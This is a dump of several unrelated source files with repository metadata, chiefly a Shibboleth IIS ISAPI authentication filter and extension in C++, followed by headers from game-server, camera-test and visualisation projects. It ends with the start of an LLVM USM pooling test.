while (!pn->GetHeader(pfc,lpszName,s,&size)) {
// Grumble. Check the error.
DWORD e=GetLastError();
if (e==ERROR_INSUFFICIENT_BUFFER)
s.reserve(size);
else
break;
}
if (bRequired && s.empty())
throw ERROR_NO_DATA;
}
/****************************************************************************/
// ISAPI Filter
class ShibTargetIsapiF : public AbstractSPRequest
{
PHTTP_FILTER_CONTEXT m_pfc;
PHTTP_FILTER_PREPROC_HEADERS m_pn;
multimap<string,string> m_headers;
int m_port;
string m_scheme,m_hostname;
mutable string m_remote_addr,m_content_type,m_method;
dynabuf m_allhttp;
public:
ShibTargetIsapiF(PHTTP_FILTER_CONTEXT pfc, PHTTP_FILTER_PREPROC_HEADERS pn, const site_t& site)
: AbstractSPRequest(SHIBSP_LOGCAT".ISAPI"), m_pfc(pfc), m_pn(pn), m_allhttp(4096) {
// URL path always come from IIS.
dynabuf var(256);
GetHeader(pn,pfc,"url",var,256,false);
setRequestURI(var);
// Port may come from IIS or from site def.
if (!g_bNormalizeRequest || (pfc->fIsSecurePort && site.m_sslport.empty()) || (!pfc->fIsSecurePort && site.m_port.empty())) {
GetServerVariable(pfc,"SERVER_PORT",var,10);
m_port = atoi(var);
}
else if (pfc->fIsSecurePort) {
m_port = atoi(site.m_sslport.c_str());
}
else {
m_port = atoi(site.m_port.c_str());
}
// Scheme may come from site def or be derived from IIS.
m_scheme=site.m_scheme;
if (m_scheme.empty() || !g_bNormalizeRequest)
m_scheme=pfc->fIsSecurePort ? "https" : "http";
GetServerVariable(pfc,"SERVER_NAME",var,32);
// Make sure SERVER_NAME is "authorized" for use on this site. If not, set to canonical name.
m_hostname = var;
if (site.m_name!=m_hostname && site.m_aliases.find(m_hostname)==site.m_aliases.end())
m_hostname=site.m_name;
if (!pfc->pFilterContext) {
pfc->pFilterContext = pfc->AllocMem(pfc, sizeof(context_t), NULL);
if (static_cast<context_t*>(pfc->pFilterContext)) {
static_cast<context_t*>(pfc->pFilterContext)->m_user = NULL;
static_cast<context_t*>(pfc->pFilterContext)->m_checked = false;
}
}
}
~ShibTargetIsapiF() { }
const char* getScheme() const {
return m_scheme.c_str();
}
const char* getHostname() const {
return m_hostname.c_str();
}
int getPort() const {
return m_port;
}
const char* getMethod() const {
if (m_method.empty()) {
dynabuf var(5);
GetServerVariable(m_pfc,"REQUEST_METHOD",var,5,false);
if (!var.empty())
m_method = var;
}
return m_method.c_str();
}
string getContentType() const {
if (m_content_type.empty()) {
dynabuf var(32);
GetServerVariable(m_pfc,"CONTENT_TYPE",var,32,false);
if (!var.empty())
m_content_type = var;
}
return m_content_type;
}
long getContentLength() const {
return 0;
}
string getRemoteAddr() const {
if (m_remote_addr.empty()) {
dynabuf var(16);
GetServerVariable(m_pfc,"REMOTE_ADDR",var,16,false);
if (!var.empty())
m_remote_addr = var;
}
return m_remote_addr;
}
void log(SPLogLevel level, const string& msg) {
AbstractSPRequest::log(level,msg);
if (level >= SPError)
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, msg.c_str());
}
void clearHeader(const char* rawname, const char* cginame) {
if (g_checkSpoofing && m_pfc->pFilterContext && !static_cast<context_t*>(m_pfc->pFilterContext)->m_checked) {
if (m_allhttp.empty())
GetServerVariable(m_pfc,"ALL_HTTP",m_allhttp,4096);
if (strstr(m_allhttp, cginame))
throw opensaml::SecurityPolicyException("Attempt to spoof header ($1) was detected.", params(1, rawname));
}
string hdr(!strcmp(rawname,"REMOTE_USER") ? "remote-user" : rawname);
hdr += ':';
m_pn->SetHeader(m_pfc, const_cast<char*>(hdr.c_str()), const_cast<char*>(g_unsetHeaderValue.c_str()));
}
void setHeader(const char* name, const char* value) {
string hdr(name);
hdr += ':';
m_pn->SetHeader(m_pfc, const_cast<char*>(hdr.c_str()), const_cast<char*>(value));
}
string getHeader(const char* name) const {
string hdr(name);
hdr += ':';
dynabuf buf(256);
GetHeader(m_pn, m_pfc, const_cast<char*>(hdr.c_str()), buf, 256, false);
return string(buf);
}
void setRemoteUser(const char* user) {
setHeader("remote-user", user);
if (m_pfc->pFilterContext) {
if (!user || !*user)
static_cast<context_t*>(m_pfc->pFilterContext)->m_user = NULL;
else if (static_cast<context_t*>(m_pfc->pFilterContext)->m_user = (char*)m_pfc->AllocMem(m_pfc, sizeof(char) * (strlen(user) + 1), NULL))
strcpy(static_cast<context_t*>(m_pfc->pFilterContext)->m_user, user);
}
}
string getRemoteUser() const {
return getHeader("remote-user");
}
void setResponseHeader(const char* name, const char* value) {
// Set for later.
if (value)
m_headers.insert(make_pair(name,value));
else
m_headers.erase(name);
}
long sendResponse(istream& in, long status) {
string hdr = string("Connection: close\r\n");
for (multimap<string,string>::const_iterator i=m_headers.begin(); i!=m_headers.end(); ++i)
hdr += i->first + ": " + i->second + "\r\n";
hdr += "\r\n";
const char* codestr="200 OK";
switch (status) {
case XMLTOOLING_HTTP_STATUS_UNAUTHORIZED: codestr="401 Authorization Required"; break;
case XMLTOOLING_HTTP_STATUS_FORBIDDEN: codestr="403 Forbidden"; break;
case XMLTOOLING_HTTP_STATUS_NOTFOUND: codestr="404 Not Found"; break;
case XMLTOOLING_HTTP_STATUS_ERROR: codestr="500 Server Error"; break;
}
m_pfc->ServerSupportFunction(m_pfc, SF_REQ_SEND_RESPONSE_HEADER, (void*)codestr, (DWORD)hdr.c_str(), 0);
char buf[1024];
while (in) {
in.read(buf,1024);
DWORD resplen = in.gcount();
m_pfc->WriteClient(m_pfc, buf, &resplen, 0);
}
return SF_STATUS_REQ_FINISHED;
}
long sendRedirect(const char* url) {
// XXX: Don't support the httpRedirect option, yet.
string hdr=string("Location: ") + url + "\r\n"
"Content-Type: text/html\r\n"
"Content-Length: 40\r\n"
"Expires: 01-Jan-1997 12:00:00 GMT\r\n"
"Cache-Control: private,no-store,no-cache\r\n";
for (multimap<string,string>::const_iterator i=m_headers.begin(); i!=m_headers.end(); ++i)
hdr += i->first + ": " + i->second + "\r\n";
hdr += "\r\n";
m_pfc->ServerSupportFunction(m_pfc, SF_REQ_SEND_RESPONSE_HEADER, "302 Please Wait", (DWORD)hdr.c_str(), 0);
static const char* redmsg="<HTML><BODY>Redirecting...</BODY></HTML>";
DWORD resplen=40;
m_pfc->WriteClient(m_pfc, (LPVOID)redmsg, &resplen, 0);
return SF_STATUS_REQ_FINISHED;
}
long returnDecline() {
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
long returnOK() {
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
const vector<string>& getClientCertificates() const {
return g_NoCerts;
}
// The filter never processes the POST, so stub these methods.
const char* getQueryString() const { throw IOException("getQueryString not implemented"); }
const char* getRequestBody() const { throw IOException("getRequestBody not implemented"); }
};
DWORD WriteClientError(PHTTP_FILTER_CONTEXT pfc, const char* msg)
{
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, msg);
static const char* ctype="Connection: close\r\nContent-Type: text/html\r\n\r\n";
pfc->ServerSupportFunction(pfc,SF_REQ_SEND_RESPONSE_HEADER,"200 OK",(DWORD)ctype,0);
static const char* xmsg="<HTML><HEAD><TITLE>Shibboleth Filter Error</TITLE></HEAD><BODY>"
"<H1>Shibboleth Filter Error</H1>";
DWORD resplen=strlen(xmsg);
pfc->WriteClient(pfc,(LPVOID)xmsg,&resplen,0);
resplen=strlen(msg);
pfc->WriteClient(pfc,(LPVOID)msg,&resplen,0);
static const char* xmsg2="</BODY></HTML>";
resplen=strlen(xmsg2);
pfc->WriteClient(pfc,(LPVOID)xmsg2,&resplen,0);
return SF_STATUS_REQ_FINISHED;
}
extern "C" DWORD WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)
{
// Is this a log notification?
if (notificationType==SF_NOTIFY_LOG) {
if (pfc->pFilterContext && static_cast<context_t*>(pfc->pFilterContext)->m_user)
((PHTTP_FILTER_LOG)pvNotification)->pszClientUserName=static_cast<context_t*>(pfc->pFilterContext)->m_user;
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
PHTTP_FILTER_PREPROC_HEADERS pn=(PHTTP_FILTER_PREPROC_HEADERS)pvNotification;
try
{
// Determine web site number. This can't really fail, I don't think.
dynabuf buf(128);
GetServerVariable(pfc,"INSTANCE_ID",buf,10);
// Match site instance to host name, skip if no match.
map<string,site_t>::const_iterator map_i=g_Sites.find(static_cast<char*>(buf));
if (map_i==g_Sites.end())
return SF_STATUS_REQ_NEXT_NOTIFICATION;
ostringstream threadid;
threadid << "[" << getpid() << "] isapi_shib" << '\0';
xmltooling::NDC ndc(threadid.str().c_str());
ShibTargetIsapiF stf(pfc, pn, map_i->second);
// "false" because we don't override the Shib settings
pair<bool,long> res = stf.getServiceProvider().doAuthentication(stf);
if (pfc->pFilterContext)
static_cast<context_t*>(pfc->pFilterContext)->m_checked = true;
if (res.first) return res.second;
// "false" because we don't override the Shib settings
res = stf.getServiceProvider().doExport(stf);
if (res.first) return res.second;
res = stf.getServiceProvider().doAuthorization(stf);
if (res.first) return res.second;
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
catch(bad_alloc) {
return WriteClientError(pfc,"Out of Memory");
}
catch(long e) {
if (e==ERROR_NO_DATA)
return WriteClientError(pfc,"A required variable or header was empty.");
else
return WriteClientError(pfc,"Shibboleth Filter detected unexpected IIS error.");
}
catch (exception& e) {
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, e.what());
return WriteClientError(pfc,"Shibboleth Filter caught an exception, check Event Log for details.");
}
catch(...) {
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, "Shibboleth Filter threw an unknown exception.");
if (g_catchAll)
return WriteClientError(pfc,"Shibboleth Filter threw an unknown exception.");
throw;
}
return WriteClientError(pfc,"Shibboleth Filter reached unreachable code, save my walrus!");
}
/****************************************************************************/
// ISAPI Extension
DWORD WriteClientError(LPEXTENSION_CONTROL_BLOCK lpECB, const char* msg)
{
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, msg);
static const char* ctype="Connection: close\r\nContent-Type: text/html\r\n\r\n";
lpECB->ServerSupportFunction(lpECB->ConnID,HSE_REQ_SEND_RESPONSE_HEADER,"200 OK",0,(LPDWORD)ctype);
static const char* xmsg="<HTML><HEAD><TITLE>Shibboleth Error</TITLE></HEAD><BODY><H1>Shibboleth Error</H1>";
DWORD resplen=strlen(xmsg);
lpECB->WriteClient(lpECB->ConnID,(LPVOID)xmsg,&resplen,HSE_IO_SYNC);
resplen=strlen(msg);
lpECB->WriteClient(lpECB->ConnID,(LPVOID)msg,&resplen,HSE_IO_SYNC);
static const char* xmsg2="</BODY></HTML>";
resplen=strlen(xmsg2);
lpECB->WriteClient(lpECB->ConnID,(LPVOID)xmsg2,&resplen,HSE_IO_SYNC);
return HSE_STATUS_SUCCESS;
}
class ShibTargetIsapiE : public AbstractSPRequest
{
LPEXTENSION_CONTROL_BLOCK m_lpECB;
multimap<string,string> m_headers;
mutable vector<string> m_certs;
mutable string m_body;
mutable bool m_gotBody;
int m_port;
string m_scheme,m_hostname,m_uri;
mutable string m_remote_addr,m_remote_user;
public:
ShibTargetIsapiE(LPEXTENSION_CONTROL_BLOCK lpECB, const site_t& site)
: AbstractSPRequest(SHIBSP_LOGCAT".ISAPI"), m_lpECB(lpECB), m_gotBody(false) {
dynabuf ssl(5);
GetServerVariable(lpECB,"HTTPS",ssl,5);
bool SSL=(ssl=="on" || ssl=="ON");
// Scheme may come from site def or be derived from IIS.
m_scheme=site.m_scheme;
if (m_scheme.empty() || !g_bNormalizeRequest)
m_scheme = SSL ? "https" : "http";
// URL path always come from IIS.
dynabuf url(256);
GetServerVariable(lpECB,"URL",url,255);
// Port may come from IIS or from site def.
dynabuf port(11);
if (!g_bNormalizeRequest || (SSL && site.m_sslport.empty()) || (!SSL && site.m_port.empty()))
GetServerVariable(lpECB,"SERVER_PORT",port,10);
else if (SSL) {
strncpy(port,site.m_sslport.c_str(),10);
static_cast<char*>(port)[10]=0;
}
else {
strncpy(port,site.m_port.c_str(),10);
static_cast<char*>(port)[10]=0;
}
m_port = atoi(port);
dynabuf var(32);
GetServerVariable(lpECB, "SERVER_NAME", var, 32);
// Make sure SERVER_NAME is "authorized" for use on this site. If not, set to canonical name.
m_hostname=var;
if (site.m_name!=m_hostname && site.m_aliases.find(m_hostname)==site.m_aliases.end())
m_hostname=site.m_name;
/*
* IIS screws us over on PATH_INFO (the hits keep on coming). We need to figure out if
* the server is set up for proper PATH_INFO handling, or "IIS sucks rabid weasels mode",
* which is the default. No perfect way to tell, but we can take a good guess by checking
* whether the URL is a substring of the PATH_INFO:
*
* e.g. for /Shibboleth.sso/SAML/POST
*
* Bad mode (default):
* URL: /Shibboleth.sso
* PathInfo: /Shibboleth.sso/SAML/POST
*
* Good mode:
* URL: /Shibboleth.sso
* PathInfo: /SAML/POST
*/
string uri;
// Clearly we're only in bad mode if path info exists at all.
if (lpECB->lpszPathInfo && *(lpECB->lpszPathInfo)) {
if (strstr(lpECB->lpszPathInfo,url))
// Pretty good chance we're in bad mode, unless the PathInfo repeats the path itself.
uri = lpECB->lpszPathInfo;
else {
uri = url;
uri += lpECB->lpszPathInfo;
}
}
else {
uri = url;
}
// For consistency with Apache, let's add the query string.
if (lpECB->lpszQueryString && *(lpECB->lpszQueryString)) {
uri += '?';
uri += lpECB->lpszQueryString;
}
setRequestURI(uri.c_str());
}
~ShibTargetIsapiE() { }
const char* getScheme() const {
return m_scheme.c_str();
}
const char* getHostname() const {
return m_hostname.c_str();
}
int getPort() const {
return m_port;
}
const char* getMethod() const {
return m_lpECB->lpszMethod;
}
string getContentType() const {
return m_lpECB->lpszContentType ? m_lpECB->lpszContentType : "";
}
long getContentLength() const {
return m_lpECB->cbTotalBytes;
}
string getRemoteUser() const {
if (m_remote_user.empty()) {
dynabuf var(16);
GetServerVariable(m_lpECB, "REMOTE_USER", var, 32, false);
if (!var.empty())
m_remote_user = var;
}
return m_remote_user;
}
string getRemoteAddr() const {
if (m_remote_addr.empty()) {
dynabuf var(16);
GetServerVariable(m_lpECB, "REMOTE_ADDR", var, 16, false);
if (!var.empty())
m_remote_addr = var;
}
return m_remote_addr;
}
void log(SPLogLevel level, const string& msg) const {
AbstractSPRequest::log(level,msg);
if (level >= SPError)
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, msg.c_str());
}
string getHeader(const char* name) const {
string hdr("HTTP_");
for (; *name; ++name) {
if (*name=='-')
hdr += '_';
else
hdr += toupper(*name);
}
dynabuf buf(128);
GetServerVariable(m_lpECB, const_cast<char*>(hdr.c_str()), buf, 128, false);
return buf.empty() ? "" : buf;
}
void setResponseHeader(const char* name, const char* value) {
// Set for later.
if (value)
m_headers.insert(make_pair(name,value));
else
m_headers.erase(name);
}
const char* getQueryString() const {
return m_lpECB->lpszQueryString;
}
const char* getRequestBody() const {
if (m_gotBody)
return m_body.c_str();
if (m_lpECB->cbTotalBytes > 1024*1024) // 1MB?
throw opensaml::SecurityPolicyException("Size of request body exceeded 1M size limit.");
else if (m_lpECB->cbTotalBytes > m_lpECB->cbAvailable) {
m_gotBody=true;
char buf[8192];
DWORD datalen=m_lpECB->cbTotalBytes;
while (datalen) {
DWORD buflen=8192;
BOOL ret = m_lpECB->ReadClient(m_lpECB->ConnID, buf, &buflen);
if (!ret || !buflen)
throw IOException("Error reading request body from browser.");
m_body.append(buf, buflen);
datalen-=buflen;
}
}
else if (m_lpECB->cbAvailable) {
m_gotBody=true;
m_body.assign(reinterpret_cast<char*>(m_lpECB->lpbData),m_lpECB->cbAvailable);
}
return m_body.c_str();
}
long sendResponse(istream& in, long status) {
string hdr = string("Connection: close\r\n");
for (multimap<string,string>::const_iterator i=m_headers.begin(); i!=m_headers.end(); ++i)
hdr += i->first + ": " + i->second + "\r\n";
hdr += "\r\n";
const char* codestr="200 OK";
switch (status) {
case XMLTOOLING_HTTP_STATUS_UNAUTHORIZED: codestr="401 Authorization Required"; break;
case XMLTOOLING_HTTP_STATUS_FORBIDDEN: codestr="403 Forbidden"; break;
case XMLTOOLING_HTTP_STATUS_NOTFOUND: codestr="404 Not Found"; break;
case XMLTOOLING_HTTP_STATUS_ERROR: codestr="500 Server Error"; break;
}
m_lpECB->ServerSupportFunction(m_lpECB->ConnID, HSE_REQ_SEND_RESPONSE_HEADER, (void*)codestr, 0, (LPDWORD)hdr.c_str());
char buf[1024];
while (in) {
in.read(buf,1024);
DWORD resplen = in.gcount();
m_lpECB->WriteClient(m_lpECB->ConnID, buf, &resplen, HSE_IO_SYNC);
}
return HSE_STATUS_SUCCESS;
}
long sendRedirect(const char* url) {
string hdr=string("Location: ") + url + "\r\n"
"Content-Type: text/html\r\n"
"Content-Length: 40\r\n"
"Expires: 01-Jan-1997 12:00:00 GMT\r\n"
"Cache-Control: private,no-store,no-cache\r\n";
for (multimap<string,string>::const_iterator i=m_headers.begin(); i!=m_headers.end(); ++i)
hdr += i->first + ": " + i->second + "\r\n";
hdr += "\r\n";
m_lpECB->ServerSupportFunction(m_lpECB->ConnID, HSE_REQ_SEND_RESPONSE_HEADER, "302 Moved", 0, (LPDWORD)hdr.c_str());
static const char* redmsg="<HTML><BODY>Redirecting...</BODY></HTML>";
DWORD resplen=40;
m_lpECB->WriteClient(m_lpECB->ConnID, (LPVOID)redmsg, &resplen, HSE_IO_SYNC);
return HSE_STATUS_SUCCESS;
}
// Decline happens in the POST processor if this isn't the shire url
// Note that it can also happen with HTAccess, but we don't support that, yet.
long returnDecline() {
return WriteClientError(
m_lpECB,
"ISAPI extension can only be invoked to process Shibboleth protocol requests."
"Make sure the mapped file extension doesn't match actual content."
);
}
long returnOK() {
return HSE_STATUS_SUCCESS;
}
const vector<string>& getClientCertificates() const {
if (m_certs.empty()) {
char CertificateBuf[8192];
CERT_CONTEXT_EX ccex;
ccex.cbAllocated = sizeof(CertificateBuf);
ccex.CertContext.pbCertEncoded = (BYTE*)CertificateBuf;
DWORD dwSize = sizeof(ccex);
if (m_lpECB->ServerSupportFunction(m_lpECB->ConnID, HSE_REQ_GET_CERT_INFO_EX, (LPVOID)&ccex, (LPDWORD)dwSize, NULL)) {
if (ccex.CertContext.cbCertEncoded) {
unsigned int outlen;
XMLByte* serialized = Base64::encode(reinterpret_cast<XMLByte*>(CertificateBuf), ccex.CertContext.cbCertEncoded, &outlen);
m_certs.push_back(reinterpret_cast<char*>(serialized));
XMLString::release(&serialized);
}
}
}
return m_certs;
}
// Not used in the extension.
void clearHeader(const char* rawname, const char* cginame) { throw runtime_error("clearHeader not implemented"); }
void setHeader(const char* name, const char* value) { throw runtime_error("setHeader not implemented"); }
void setRemoteUser(const char* user) { throw runtime_error("setRemoteUser not implemented"); }
};
extern "C" DWORD WINAPI HttpExtensionProc(LPEXTENSION_CONTROL_BLOCK lpECB)
{
try {
ostringstream threadid;
threadid << "[" << getpid() << "] isapi_shib_extension" << '\0';
xmltooling::NDC ndc(threadid.str().c_str());
// Determine web site number. This can't really fail, I don't think.
dynabuf buf(128);
GetServerVariable(lpECB,"INSTANCE_ID",buf,10);
// Match site instance to host name, skip if no match.
map<string,site_t>::const_iterator map_i=g_Sites.find(static_cast<char*>(buf));
if (map_i==g_Sites.end())
return WriteClientError(lpECB, "Shibboleth Extension not configured for web site (check <ISAPI> mappings in configuration).");
ShibTargetIsapiE ste(lpECB, map_i->second);
pair<bool,long> res = ste.getServiceProvider().doHandler(ste);
if (res.first) return res.second;
return WriteClientError(lpECB, "Shibboleth Extension failed to process request");
}
catch(bad_alloc) {
return WriteClientError(lpECB,"Out of Memory");
}
catch(long e) {
if (e==ERROR_NO_DATA)
return WriteClientError(lpECB,"A required variable or header was empty.");
else
return WriteClientError(lpECB,"Server detected unexpected IIS error.");
}
catch (exception& e) {
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, e.what());
return WriteClientError(lpECB,"Shibboleth Extension caught an exception, check Event Log for details.");
}
catch(...) {
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, "Shibboleth Extension threw an unknown exception.");
if (g_catchAll)
return WriteClientError(lpECB,"Shibboleth Extension threw an unknown exception.");
throw;
}
// If we get here we've got an error.
return HSE_STATUS_ERROR;
}
| [
"cantor@cb58f699-b61c-0410-a6fe-9272a202ed29"
] | cantor@cb58f699-b61c-0410-a6fe-9272a202ed29 |
6ccd80012edf8e4ad7e2ae3eac16f6e28b28f043 | cc166c7b791646d0219b570d900432badfdea202 | /RakAuth/CheckNicknameHandler.h | 377ce86a194ffacb32b0a4c1d51002f1856da051 | [] | no_license | MediaGroop/Server | ad7743b8f588dee76f4edc78e156481f3195c877 | 3d1184c519cb1e07710078507edab89af2ed5e6a | refs/heads/master | 2016-08-05T04:31:17.488934 | 2016-01-04T11:24:00 | 2016-01-04T11:24:00 | 39,456,225 | 2 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 1,683 | h | #pragma once
#include "ServVars.h"
#include "ServersTracker.h"
#include "AuthClient.h"
#include "ClientsTracker.h"
#include "CheckNickPacket.h"
void handleNickCheck(RakNet::Packet* p)
{
ConnectedClient* cl = authServer->getClient(p->guid);
if (cl != nullptr){
AuthClient* ac = getAuthClient(cl);
if (ac != nullptr){
if (ac->authorized()){
RakNet::BitStream bsIn(p->data, p->length, false);
bsIn.IgnoreBytes(sizeof(RakNet::MessageID));
RakNet::RakString nick, server;
int serverId = -1;
bsIn.Read(server);
bsIn.Read(nick);
LOG(INFO) << "Server request:";
LOG(INFO) << server.C_String();
for (std::map<int, ServerInfo>::iterator ii = _servers.begin(); ii != _servers.end(); ++ii)
{
LOG(INFO) << "Server iter:";
LOG(INFO) << (*ii).second.getName().c_str();
if (RakNet::RakString((*ii).second.getName().c_str()) == server) {
serverId = (*ii).second.getId();
break;
}
}
if (serverId != -1)
{
typedef odb::query<CharacterLink> query;
typedef odb::result<CharacterLink> result;
odb::transaction t(dataBase->begin());
std::string str = std::string(nick.C_String());
result r(dataBase->query<CharacterLink>(query::char_name == str));
bool uniq = true;
for (result::iterator i(r.begin()); i != r.end(); ++i)
{
uniq = false;
}
t.commit();
LOG(INFO) << "Nick is available: ";
LOG(INFO) << uniq;
CheckNickPacket pack(uniq);
pack.send(authServer->getPeer(), *cl->getAddr());
}
else
{
LOG(INFO) << "No server with such name:";
LOG(INFO) << server.C_String();
//wrong server!
}
}
}
}
}; | [
"[email protected]"
] | |
0627fef3ae75ebcaf21e2e30c2d5763e4c524842 | 65f9576021285bc1f9e52cc21e2d49547ba77376 | /LINUX/android/vendor/qcom/proprietary/chi-cdk/test/hal3-test/QCameraHAL3MainTestContext.h | 77616efccf68d912d5d66185c1bf9031b4c5b876 | [] | no_license | AVCHD/qcs605_root_qcom | 183d7a16e2f9fddc9df94df9532cbce661fbf6eb | 44af08aa9a60c6ca724c8d7abf04af54d4136ccb | refs/heads/main | 2023-03-18T21:54:11.234776 | 2021-02-26T11:03:59 | 2021-02-26T11:03:59 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,604 | h | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Copyright (c) 2018 Qualcomm Technologies, Inc.
// All Rights Reserved.
// Confidential and Proprietary - Qualcomm Technologies, Inc.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*Copyright (c) 2016, The Linux Foundation. All rights reserved.*/
#ifndef __HAL3TEST_H__
#define __HAL3TEST_H__
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
namespace qcamera {
typedef enum
{
MENU_BASE = 0,
MENU_START_PREVIEW,
MENU_START_VIDEO,
MENU_START_CAPTURE,
MENU_START_RAW_CAPTURE,
MENU_TOGGLE_IR_MODE,
MENU_TOGGLE_SVHDR_MODE,
MENU_TOGGLE_BINNING_CORRECTION,
MENU_EXIT,
MENU_INVALID
} menu_id;
typedef struct {
menu_id base_menu;
char * basemenu_name;
} HAL3TEST_BASE_MENU_TBL_T;
typedef struct {
const char * menu_name;
} HAL3TEST_SENSOR_MENU_TBL_T;
typedef struct {
menu_id main_menu;
const char * menu_name;
} CAMERA_BASE_MENU_TBL_T;
class CameraHAL3Base;
class MainTestContext
{
bool mTestRunning;
bool irmode;
bool svhdrmode;
public:
MainTestContext();
int hal3appGetUserEvent();
int hal3appDisplaySensorMenu(uint8_t );
void hal3appDisplayCapabilityMenu();
int hal3appDisplayPreviewMenu();
int hal3appDisplayVideoMenu();
void hal3appDisplayRawCaptureMenu();
void hal3appDisplaySnapshotMenu();
void hal3appDisplayExitMenu();
int hal3appPrintMenu();
};
}
#endif
| [
"[email protected]"
] | |
dc1cc983214b558db2285ee96091fce2280d9acb | f80dbb448777f4a10318e93d395d0ee777fdcd6a | /calit2/FuturePatient/MicrobeScatterGraphObject.h | 321f91188af79eecd8c6f42d170fa538423c0409 | [] | no_license | ngsmith/calvr_plugins | 2a0bf47d0446b143ed80b71e94a046bb177fce0e | 339a4697c4d8a11776d4818330b951ee6c34caf4 | refs/heads/master | 2021-01-17T22:46:07.143138 | 2013-12-10T06:27:39 | 2013-12-10T06:27:39 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,455 | h | #ifndef MICROBE_SCATTER_GRAPH_OBJECT_H
#define MICROBE_SCATTER_GRAPH_OBJECT_H
#include <string>
#include <osg/Geode>
#include <osg/Geometry>
#include <mysql++/mysql++.h>
#include "LayoutInterfaces.h"
#include "GroupedScatterPlot.h"
#include "GraphKeyObject.h"
class MicrobeScatterGraphObject : public LayoutTypeObject, public LogValueRangeObject, public PatientSelectObject, public SelectableObject
{
public:
MicrobeScatterGraphObject(mysqlpp::Connection * conn, float width, float height, std::string name, bool navigation, bool movable, bool clip, bool contextMenu, bool showBounds=false);
virtual ~MicrobeScatterGraphObject();
bool setGraph(std::string title, std::string primaryPhylum, std::string secondaryPhylum);
virtual void objectAdded();
virtual void objectRemoved();
virtual void setGraphSize(float width, float height);
virtual void selectPatients(std::string & group, std::vector<std::string> & patients);
virtual float getGraphXMaxValue();
virtual float getGraphXMinValue();
virtual float getGraphZMaxValue();
virtual float getGraphZMinValue();
virtual float getGraphXDisplayRangeMax();
virtual float getGraphXDisplayRangeMin();
virtual float getGraphZDisplayRangeMax();
virtual float getGraphZDisplayRangeMin();
virtual void setGraphXDisplayRange(float min, float max);
virtual void setGraphZDisplayRange(float min, float max);
virtual void resetGraphDisplayRange();
virtual bool processEvent(cvr::InteractionEvent * ie);
virtual void updateCallback(int handID, const osg::Matrix & mat);
virtual void leaveCallback(int handID);
virtual void menuCallback(cvr::MenuItem * item);
protected:
void initData();
void makeSelect();
void updateSelect();
void makeGraphKey();
mysqlpp::Connection * _conn;
GroupedScatterPlot * _graph;
bool _desktopMode;
static bool _dataInit;
struct DataEntry
{
std::string name;
time_t timestamp;
float value;
};
static std::vector<std::vector<struct DataEntry> > _data;
static std::map<std::string,int> _phylumIndexMap;
static GraphKeyObject * _graphKey;
osg::ref_ptr<osg::Geode> _selectGeode;
osg::ref_ptr<osg::Geometry> _selectGeom;
};
#endif
| [
"[email protected]"
] | |
d34865d05c470fa84f180d900cfa974c1a99ce6c | 55952a6e80b56d56ebbf2f1d098111adf9e48c67 | /concu-chat/include/common/ipc/resource_collector.h | 4cd4ff97c40e21754efb9bff307b2bd92df4dbc2 | [] | no_license | epidemian/concu-2010 | f22e3d0d5a93ab034459c252fd2cdd2f109e7034 | cb12e8c07e536b895e30ca0358666f3cd2775373 | refs/heads/master | 2016-08-11T07:44:57.585645 | 2010-09-29T11:58:22 | 2010-09-29T11:58:22 | 54,079,117 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 732 | h | /*
* resource_collector.h
*
* Created on: Apr 23, 2010
* Author: demian
*/
#ifndef IPC_RESOURCE_COLLECTOR_H_
#define IPC_RESOURCE_COLLECTOR_H_
#include "utils.h"
#include <list>
using std::list;
class Resource;
class ResourceCollector
{
public:
/** Singleton instance. */
static ResourceCollector& instance();
void registerResource(Resource* res);
void unregisterResource(Resource* res);
private:
typedef list<Resource*> ResourceList;
ResourceList _resources;
/** Private constructor and destructor. */
ResourceCollector();
~ResourceCollector();
bool alreadyRegistered(Resource* res) const;
void disposeAllResources();
DECLARE_NON_COPIABLE(ResourceCollector)
};
#endif /* RESOURCE_COLLECTOR_H_ */
| [
"[email protected]"
] | |
a5151b80610943a38020dfd8cecf82c89e88ac18 | 45874c847c5a2fc4e89e05a7fc8ad9b63d8c4860 | /sycl/test-e2e/USM/usm_pooling.cpp | 5341cf2f35e2e57fc9815ee95cdcac89ccfbf5d9 | [
"LicenseRef-scancode-unknown-license-reference",
"NCSA",
"LLVM-exception",
"Apache-2.0"
] | permissive | intel/llvm | 2f023cefec793a248d8a237267410f5e288116c5 | a3d10cf63ddbdcc23712c45afd1b6b0a2ff5b190 | refs/heads/sycl | 2023-08-24T18:53:49.800759 | 2023-08-24T17:38:35 | 2023-08-24T17:38:35 | 166,008,577 | 1,050 | 735 | NOASSERTION | 2023-09-14T20:35:07 | 2019-01-16T09:05:33 | null | UTF-8 | C++ | false | false | 6,357 | cpp | // REQUIRES: level_zero
// RUN: %{build} -o %t.out
// Allocate 2 items of 2MB. Free 2. Allocate 3 more of 2MB.
// With no pooling: 1,2,3,4,5 allocs lead to ZE call.
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_DISABLE_USM_ALLOCATOR=1 %{run} %t.out h 2>&1 | FileCheck %s --check-prefix CHECK-NOPOOL
